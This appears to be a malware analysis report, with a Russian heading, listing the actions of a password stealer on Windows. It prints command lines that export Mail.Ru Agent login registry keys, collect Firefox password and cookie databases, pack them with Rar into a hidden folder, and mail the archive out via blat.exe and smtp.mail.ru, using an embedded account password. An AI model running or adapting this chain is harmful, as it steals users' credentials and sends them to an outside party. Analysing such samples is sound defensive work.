Техническая информация
- C:\pass\blat.exe -body surpriz -to blek.russkiy@mail.ru -attach pass.rar -install -server smtp.mail.ru -port 25 -f alex.hacker@mail.ru -u alex.hacker -pw qwertyytrewq
- C:\pass\Rar.exe a -r C:\pass\pass.rar C:\pass\
- %WINDIR%\regedit.exe -ea C:\pass\MailAgent\reg\agent_3.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins3
- <SYSTEM32>\xcopy.exe Mra\Base C:\pass\MailAgent /K /H /G /Q /R /S /Y /E
- <SYSTEM32>\xcopy.exe Mra\Update\ver.txt C:\pass\MailAgent /K /H /G /Q /R /S /Y
- <SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\super.bat" "
- <SYSTEM32>\attrib.exe C:\pass +h +s +a +r
- %WINDIR%\regedit.exe -ea C:\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2
- C:\pass\Mozilla\signons.sqlite
- C:\pass\Google\cookies.sqlite
- C:\pass\Mozilla\cookies.sqlite
- C:\pass\Mozilla\key3.db
- C:\pass\Rar.exe
- C:\pass\blat.exe
- C:\pass\blat.lib
- C:\pass\pass.rar
- C:\pass\blat.dll
- %TEMP%\1.tmp\blat.lib
- %TEMP%\1.tmp\Rar.exe
- %TEMP%\1.tmp\super.bat
- %TEMP%\1.tmp\blat.exe
- %TEMP%\1.tmp\blat.dll
- %WINDIR%\blat.lib
- %WINDIR%\Rar.exe
- %WINDIR%\blat.dll
- %WINDIR%\blat.exe
- %WINDIR%\blat.exe
- %WINDIR%\blat.lib
- %WINDIR%\Rar.exe
- %WINDIR%\blat.dll
- DNS ASK sm##.mail.ru
- ClassName: 'RegEdit_RegEdit' WindowName: ''